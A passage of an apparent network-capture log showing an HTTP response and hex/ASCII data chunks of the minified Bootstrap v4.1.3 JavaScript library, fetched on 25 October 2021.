ikZNfcIVBrhso8uTX4sUJ5X9GsLxXBisRNqpQ&isca=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2021-10-25 16:17:23 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 25 Oct 2021 16:17:23 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: DE CDN-EdgeStorageId: 723 CDN-EdgeStorageId: 718 Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-CachedAt: 2021-03-11 11:57:52 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 Cache-Control: public, max-age=31919000 timing-allow-origin: * cross-origin-resource-policy: cross-origin access-control-allow-origin: * x-content-type-options: nosniff CDN-RequestId: 48f4598378fe1b699fcee6ac68d6cc25 CDN-Cache: HIT CF-Cache-Status: HIT Age: 18731360 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 6a3cc13929341f15-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
2021-10-25 16:17:23 UTC	235	IN	Data Raw: 66 62 65 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: fbe/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2021-10-25 16:17:23 UTC	236	IN	Data Raw: 64 75 6c 65 3f 65 28 65 78 70 6f 72 74 73 2c 72 65 71 75 69 72 65 28 22 6a 71 75 65 72 79 22 29 2c 72 65 71 75 69 72 65 28 22 70 6f 70 70 65 72 2e 6a 73 22 29 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 Data Ascii: dule?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var
2021-10-25 16:17:23 UTC	237	IN	Data Raw: 58 65 2c 74 6e 2c 65 6e 2c 6e 6e 2c 72 6e 2c 6f 6e 2c 73 6e 2c 61 6e 2c 6c 6e 2c 63 6e 2c 68 6e 2c 75 6e 2c 66 6e 2c 64 6e 2c 67 6e 2c 5f 6e 2c 6d 6e 2c 70 6e 2c 76 6e 2c 79 6e 2c 45 6e 2c 43 6e 2c 54 6e 2c 62 6e 2c 53 6e 2c 49 6e 2c 41 6e 2c 44 6e 2c 77 6e 2c 4e 6e 2c 4f 6e 2c 6b 6e 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 Data Ascii: Xe,tn,en,nn,rn,on,sn,an,ln,cn,hn,un,fn,dn,gn,_n,mn,pn,vn,yn,En,Cn,Tn,bn,Sn,In,An,Dn,wn,Nn,On,kn,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(
2021-10-25 16:17:23 UTC	238	IN	Data Raw: 45 4e 44 5d 3d 7b 62 69 6e 64 54 79 70 65 3a 65 2c 64 65 6c 65 67 61 74 65 54 79 70 65 3a 65 2c 68 61 6e 64 6c 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 69 28 74 2e 74 61 72 67 65 74 29 2e 69 73 28 74 68 69 73 29 29 72 65 74 75 72 6e 20 74 2e 68 61 6e 64 6c 65 4f 62 6a 2e 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d Data Ascii: END]={bindType:e,delegateType:e,handle:function(t){if(i(t.target).is(this))return t.handleObj.handler.apply(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"}
2021-10-25 16:17:23 UTC	239	IN	Data Raw: 37 66 66 61 0d 0a 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 74 29 7d 65 6c 73 65 20 74 68 69 73 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 65 29 7d 2c 74 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 28 74 29 2e 64 65 74 61 63 68 28 29 2e 74 72 69 67 67 65 72 28 75 2e 43 4c 4f 53 45 44 29 2e 72 65 6d 6f 76 65 28 29 7d 2c 69 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 72 28 74 68 69 73 29 2c 65 3d 74 2e 64 61 74 61 28 6f 29 3b 65 7c 7c 28 65 3d 6e 65 77 20 69 28 74 68 69 73 29 2c 74 2e 64 61 74 61 28 6f 2c 65 29 29 2c 22 63 6c 6f 73 65 22 3d Data Ascii: 7ffamulateTransitionEnd(t)}else this._destroyElement(e)},t._destroyElement=function(t){r(t).detach().trigger(u.CLOSED).remove()},i._jQueryInterface=function(n){return this.each(function(){var t=r(this),e=t.data(o);e\|\|(e=new i(this),t.data(o,e)),"close"=
2021-10-25 16:17:23 UTC	241	IN	Data Raw: 54 29 2c 6d 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 70 72 65 73 73 65 64 22 2c 21 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 54 29 29 2c 74 26 26 6d 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 54 29 7d 2c 74 2e 64 69 73 70 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6d 2e 72 65 6d 6f 76 65 44 61 74 61 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2c 76 29 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 6e 75 6c 6c 7d 2c 6e 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 3d 66 75 6e 63 Data Ascii: T),m(i).trigger("change")}i.focus(),e=!1}}e&&this._element.setAttribute("aria-pressed",!this._element.classList.contains(T)),t&&m(this._element).toggleClass(T)},t.dispose=function(){m.removeData(this._element,v),this._element=null},n._jQueryInterface=func
2021-10-25 16:17:23 UTC	242	IN	Data Raw: 74 65 6d 2d 6c 65 66 74 22 2c 5a 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 47 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 70 72 65 76 22 2c 24 3d 22 2e 61 63 74 69 76 65 22 2c 58 3d 22 2e 61 63 74 69 76 65 2e 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 22 2c 74 74 3d 22 2e 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 22 2c 65 74 3d 22 2e 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 2c 20 2e 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 70 72 65 76 22 2c 6e 74 3d 22 2e 63 61 72 6f 75 73 65 6c 2d 69 6e 64 69 63 61 74 6f 72 73 22 2c 69 74 3d 22 5b 64 61 74 61 2d 73 6c 69 64 65 5d 2c 20 5b 64 61 74 61 2d 73 6c 69 64 65 2d 74 6f 5d 22 2c 72 74 3d 27 5b 64 61 74 61 2d 72 69 64 65 3d 22 63 61 72 6f 75 73 65 6c 22 5d 27 2c 6f 74 3d 66 75 6e Data Ascii: tem-left",Z="carousel-item-next",G="carousel-item-prev",$=".active",X=".active.carousel-item",tt=".carousel-item",et=".carousel-item-next, .carousel-item-prev",nt=".carousel-indicators",it="[data-slide], [data-slide-to]",rt='[data-ride="carousel"]',ot=fun
2021-10-25 16:17:23 UTC	243	IN	Data Raw: 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 29 3b 69 66 28 21 28 74 3e 74 68 69 73 2e 5f 69 74 65 6d 73 2e 6c 65 6e 67 74 68 2d 31 7c 7c 74 3c 30 29 29 69 66 28 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 29 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 65 28 51 2e 53 4c 49 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 2e 74 6f 28 74 29 7d 29 3b 65 6c 73 65 7b 69 66 28 6e 3d 3d 3d 74 29 72 65 74 75 72 6e 20 74 68 69 73 2e 70 61 75 73 65 28 29 2c 76 6f 69 64 20 74 68 69 73 2e 63 79 63 6c 65 28 29 3b 76 61 72 20 69 3d 6e 3c 74 3f 71 3a 46 3b 74 68 69 73 2e 5f 73 6c 69 64 65 28 69 2c 74 68 69 73 2e 5f 69 74 65 6d 73 5b 74 5d 29 7d 7d 2c 74 2e 64 69 73 70 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 50 28 74 68 69 73 2e 5f 65 6c 65 Data Ascii: _activeElement);if(!(t>this._items.length-1\|\|t<0))if(this._isSliding)P(this._element).one(Q.SLID,function(){return e.to(t)});else{if(n===t)return this.pause(),void this.cycle();var i=n<t?q:F;this._slide(i,this._items[t])}},t.dispose=function(){P(this._ele
2021-10-25 16:17:23 UTC	245	IN	Data Raw: 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 74 3d 3d 3d 71 2c 69 3d 74 3d 3d 3d 46 2c 72 3d 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 65 29 2c 6f 3d 74 68 69 73 2e 5f 69 74 65 6d 73 2e 6c 65 6e 67 74 68 2d 31 3b 69 66 28 28 69 26 26 30 3d 3d 3d 72 7c 7c 6e 26 26 72 3d 3d 3d 6f 29 26 26 21 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 77 72 61 70 29 72 65 74 75 72 6e 20 65 3b 76 61 72 20 73 3d 28 72 2b 28 74 3d 3d 3d 46 3f 2d 31 3a 31 29 29 25 74 68 69 73 2e 5f 69 74 65 6d 73 2e 6c 65 6e 67 74 68 3b 72 65 74 75 72 6e 2d 31 3d 3d 3d 73 3f 74 68 69 73 2e 5f 69 74 65 6d 73 5b 74 68 69 73 2e 5f 69 74 65 6d 73 2e 6c 65 6e 67 74 68 2d 31 5d 3a 74 68 69 73 2e 5f 69 74 65 6d 73 5b 73 5d 7d 2c 74 2e 5f 74 72 69 67 67 65 72 53 6c 69 Data Ascii: on=function(t,e){var n=t===q,i=t===F,r=this._getItemIndex(e),o=this._items.length-1;if((i&&0===r\|\|n&&r===o)&&!this._config.wrap)return e;var s=(r+(t===F?-1:1))%this._items.length;return-1===s?this._items[this._items.length-1]:this._items[s]},t._triggerSli
2021-10-25 16:17:23 UTC	246	IN	Data Raw: 73 28 56 29 2c 50 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 2b 22 20 22 2b 69 2b 22 20 22 2b 6e 29 2c 6f 2e 5f 69 73 53 6c 69 64 69 6e 67 3d 21 31 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 50 28 6f 2e 5f 65 6c 65 6d 65 6e 74 29 2e 74 72 69 67 67 65 72 28 75 29 7d 2c 30 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 66 29 7d 65 6c 73 65 20 50 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 2c 50 28 6c 29 2e 61 64 64 43 6c 61 73 73 28 56 29 2c 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 3d 21 31 2c 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 74 72 69 67 67 65 72 28 75 29 3b 68 26 26 74 68 69 73 2e 63 79 63 6c 65 28 29 7d 7d 2c 6f 2e 5f 6a 51 75 65 72 79 49 6e Data Ascii: s(V),P(s).removeClass(V+" "+i+" "+n),o._isSliding=!1,setTimeout(function(){return P(o._element).trigger(u)},0)}).emulateTransitionEnd(f)}else P(s).removeClass(V),P(l).addClass(V),this._isSliding=!1,P(this._element).trigger(u);h&&this.cycle()}},o._jQueryIn
2021-10-25 16:17:23 UTC	247	IN	Data Raw: 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 6f 74 29 2c 42 6e 3d 28 61 74 3d 22 63 6f 6c 6c 61 70 73 65 22 2c 63 74 3d 22 2e 22 2b 28 6c 74 3d 22 62 73 2e 63 6f 6c 6c 61 70 73 65 22 29 2c 68 74 3d 28 73 74 3d 65 29 2e 66 6e 5b 61 74 5d 2c 75 74 3d 7b 74 6f 67 67 6c 65 3a 21 30 2c 70 61 72 65 6e 74 3a 22 22 7d 2c 66 74 3d 7b 74 6f 67 67 6c 65 3a 22 62 6f 6f 6c 65 61 6e 22 2c 70 61 72 65 6e 74 3a 22 28 73 74 72 69 6e 67 7c 65 6c 65 6d 65 6e 74 29 22 7d 2c 64 74 3d 7b 53 48 4f 57 3a 22 73 68 6f 77 22 2b 63 74 2c 53 48 4f 57 4e 3a 22 73 68 6f 77 6e 22 2b 63 74 2c 48 49 44 45 3a 22 68 69 64 65 22 2b 63 74 2c 48 49 44 44 45 4e 3a 22 68 69 64 64 65 6e 22 2b 63 74 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 63 74 2b 22 2e 64 61 74 61 Data Ascii: ueryInterface},ot),Bn=(at="collapse",ct="."+(lt="bs.collapse"),ht=(st=e).fn[at],ut={toggle:!0,parent:""},ft={toggle:"boolean",parent:"(string\|element)"},dt={SHOW:"show"+ct,SHOWN:"shown"+ct,HIDE:"hide"+ct,HIDDEN:"hidden"+ct,CLICK_DATA_API:"click"+ct+".data
2021-10-25 16:17:23 UTC	249	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 70 61 72 65 6e 74 22 29 3d 3d 3d 6e 2e 5f 63 6f 6e 66 69 67 2e 70 61 72 65 6e 74 7d 29 29 2e 6c 65 6e 67 74 68 26 26 28 74 3d 6e 75 6c 6c 29 2c 21 28 74 26 26 28 65 3d 73 74 28 74 29 2e 6e 6f 74 28 74 68 69 73 2e 5f 73 65 6c 65 63 74 6f 72 29 2e 64 61 74 61 28 6c 74 29 29 26 26 65 2e 5f 69 73 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67 29 29 29 7b 76 61 72 20 69 3d 73 74 2e 45 76 65 6e 74 28 64 74 2e 53 48 4f 57 29 3b 69 66 28 73 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 74 72 69 67 67 65 72 28 69 29 2c 21 69 2e 69 73 44 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 28 29 29 7b 74 26 26 28 61 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 Data Ascii: (function(t){return t.getAttribute("data-parent")===n._config.parent})).length&&(t=null),!(t&&(e=st(t).not(this._selector).data(lt))&&e._isTransitioning))){var i=st.Event(dt.SHOW);if(st(this._element).trigger(i),!i.isDefaultPrevented()){t&&(a._jQueryInter
2021-10-25 16:17:23 UTC	250	IN	Data Raw: 6f 29 3b 69 66 28 6e 75 6c 6c 21 3d 3d 73 29 73 74 28 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 73 29 29 29 2e 68 61 73 43 6c 61 73 73 28 67 74 29 7c 7c 73 74 28 6f 29 2e 61 64 64 43 6c 61 73 73 28 70 74 29 2e 61 74 74 72 28 22 61 72 69 61 2d 65 78 70 61 6e 64 65 64 22 2c 21 31 29 7d 74 68 69 73 2e 73 65 74 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67 28 21 30 29 3b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 74 79 6c 65 5b 6e 5d 3d 22 22 3b 76 61 72 20 61 3d 46 6e 2e 67 65 74 54 72 61 6e 73 69 74 69 6f 6e 44 75 72 61 74 69 6f 6e 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 3b 73 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 65 28 46 6e 2e Data Ascii: o);if(null!==s)st([].slice.call(document.querySelectorAll(s))).hasClass(gt)\|\|st(o).addClass(pt).attr("aria-expanded",!1)}this.setTransitioning(!0);this._element.style[n]="";var a=Fn.getTransitionDurationFromElement(this._element);st(this._element).one(Fn.
2021-10-25 16:17:23 UTC	251	IN	Data Raw: 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 29 3b 72 65 74 75 72 6e 20 65 3f 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 65 29 3a 6e 75 6c 6c 7d 2c 61 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 73 74 28 74 68 69 73 29 2c 65 3d 74 2e 64 61 74 61 28 6c 74 29 2c 6e 3d 6c 28 7b 7d 2c 75 74 2c 74 2e 64 61 74 61 28 29 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 69 26 26 69 3f 69 3a 7b 7d 29 3b 69 66 28 21 65 26 26 6e 2e 74 6f 67 67 6c 65 26 26 2f 73 68 6f 77 7c 68 69 64 65 2f 2e Data Ascii: ent=function(t){var e=Fn.getSelectorFromElement(t);return e?document.querySelector(e):null},a._jQueryInterface=function(i){return this.each(function(){var t=st(this),e=t.data(lt),n=l({},ut,t.data(),"object"==typeof i&&i?i:{});if(!e&&n.toggle&&/show\|hide/.
2021-10-25 16:17:23 UTC	253	IN	Data Raw: 22 5d 27 2c 55 74 3d 22 2e 64 72 6f 70 64 6f 77 6e 20 66 6f 72 6d 22 2c 71 74 3d 22 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 22 2c 46 74 3d 22 2e 6e 61 76 62 61 72 2d 6e 61 76 22 2c 4b 74 3d 22 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 20 2e 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 64 29 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 22 2c 4d 74 3d 22 74 6f 70 2d 73 74 61 72 74 22 2c 51 74 3d 22 74 6f 70 2d 65 6e 64 22 2c 42 74 3d 22 62 6f 74 74 6f 6d 2d 73 74 61 72 74 22 2c 56 74 3d 22 62 6f 74 74 6f 6d 2d 65 6e 64 22 2c 59 74 3d 22 72 69 67 68 74 2d 73 74 61 72 74 22 2c 7a 74 3d 22 6c 65 66 74 2d 73 74 61 72 74 22 2c 4a 74 3d 7b 6f 66 66 73 65 74 3a 30 2c 66 6c 69 70 3a 21 30 2c 62 6f 75 6e 64 61 72 79 3a 22 73 63 72 Data Ascii: "]',Ut=".dropdown form",qt=".dropdown-menu",Ft=".navbar-nav",Kt=".dropdown-menu .dropdown-item:not(.disabled):not(:disabled)",Mt="top-start",Qt="top-end",Bt="bottom-start",Vt="bottom-end",Yt="right-start",zt="left-start",Jt={offset:0,flip:!0,boundary:"scr
2021-10-25 16:17:23 UTC	254	IN	Data Raw: 72 43 6f 6e 66 69 67 28 29 29 7d 22 6f 6e 74 6f 75 63 68 73 74 61 72 74 22 69 6e 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 30 3d 3d 3d 62 74 28 74 29 2e 63 6c 6f 73 65 73 74 28 46 74 29 2e 6c 65 6e 67 74 68 26 26 62 74 28 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 2e 63 68 69 6c 64 72 65 6e 28 29 2e 6f 6e 28 22 6d 6f 75 73 65 6f 76 65 72 22 2c 6e 75 6c 6c 2c 62 74 2e 6e 6f 6f 70 29 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 66 6f 63 75 73 28 29 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 65 78 70 61 6e 64 65 64 22 2c 21 30 29 2c 62 74 28 74 68 69 73 2e 5f 6d 65 6e 75 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 50 74 29 2c 62 74 28 74 29 2e 74 6f 67 67 6c 65 43 Data Ascii: rConfig())}"ontouchstart"in document.documentElement&&0===bt(t).closest(Ft).length&&bt(document.body).children().on("mouseover",null,bt.noop),this._element.focus(),this._element.setAttribute("aria-expanded",!0),bt(this._menu).toggleClass(Pt),bt(t).toggleC
2021-10-25 16:17:23 UTC	255	IN	Data Raw: 66 20 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6f 66 66 73 65 74 3f 74 2e 66 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 6f 66 66 73 65 74 73 3d 6c 28 7b 7d 2c 74 2e 6f 66 66 73 65 74 73 2c 65 2e 5f 63 6f 6e 66 69 67 2e 6f 66 66 73 65 74 28 74 2e 6f 66 66 73 65 74 73 29 7c 7c 7b 7d 29 2c 74 7d 3a 74 2e 6f 66 66 73 65 74 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6f 66 66 73 65 74 3b 76 61 72 20 6e 3d 7b 70 6c 61 63 65 6d 65 6e 74 3a 74 68 69 73 2e 5f 67 65 74 50 6c 61 63 65 6d 65 6e 74 28 29 2c 6d 6f 64 69 66 69 65 72 73 3a 7b 6f 66 66 73 65 74 3a 74 2c 66 6c 69 70 3a 7b 65 6e 61 62 6c 65 64 3a 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 66 6c 69 70 7d 2c 70 72 65 76 65 6e 74 4f 76 65 72 66 6c 6f 77 3a 7b 62 6f 75 6e 64 61 72 69 65 73 45 Data Ascii: f this._config.offset?t.fn=function(t){return t.offsets=l({},t.offsets,e._config.offset(t.offsets)\|\|{}),t}:t.offset=this._config.offset;var n={placement:this._getPlacement(),modifiers:{offset:t,flip:{enabled:this._config.flip},preventOverflow:{boundariesE
2021-10-25 16:17:23 UTC	257	IN	Data Raw: 74 46 72 6f 6d 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 6e 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 29 3b 72 65 74 75 72 6e 20 6e 26 26 28 65 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 29 29 2c 65 7c 7c 74 2e 70 61 72 65 6e 74 4e 6f 64 65 7d 2c 63 2e 5f 64 61 74 61 41 70 69 4b 65 79 64 6f 77 6e 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 28 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 3f 21 28 33 32 3d 3d 3d 74 2e 77 68 69 63 68 7c 7c 32 37 21 3d 3d 74 2e 77 68 69 63 68 26 26 28 34 30 21 3d 3d 74 2e 77 68 69 63 68 26 26 33 38 21 3d 3d 74 2e 77 68 Data Ascii: tFromElement=function(t){var e,n=Fn.getSelectorFromElement(t);return n&&(e=document.querySelector(n)),e\|\|t.parentNode},c._dataApiKeydownHandler=function(t){if((/input\|textarea/i.test(t.target.tagName)?!(32===t.which\|\|27!==t.which&&(40!==t.which&&38!==t.wh
2021-10-25 16:17:23 UTC	258	IN	Data Raw: 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 74 2e 66 6e 5b 53 74 5d 3d 77 74 2c 47 74 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 47 74 29 2c 59 6e 3d 28 58 74 3d 22 6d 6f 64 61 6c 22 2c 65 65 3d 22 2e 22 2b 28 74 65 3d 22 62 73 2e 6d 6f 64 61 6c 22 29 2c 6e 65 3d 28 24 74 3d 65 29 2e 66 6e 5b 58 74 5d 2c 69 65 3d 7b 62 61 63 6b 64 72 6f 70 3a 21 30 2c 6b 65 79 62 6f 61 72 64 3a 21 30 2c 66 6f 63 75 73 3a 21 30 2c 73 68 6f 77 3a 21 30 7d 2c 72 65 3d 7b 62 61 63 6b 64 72 6f 70 3a 22 28 62 6f 6f 6c 65 61 6e 7c 73 74 72 69 6e 67 29 22 2c 6b 65 79 62 6f 61 72 64 3a 22 62 6f 6f 6c 65 61 6e 22 2c 66 6f 63 75 73 3a 22 62 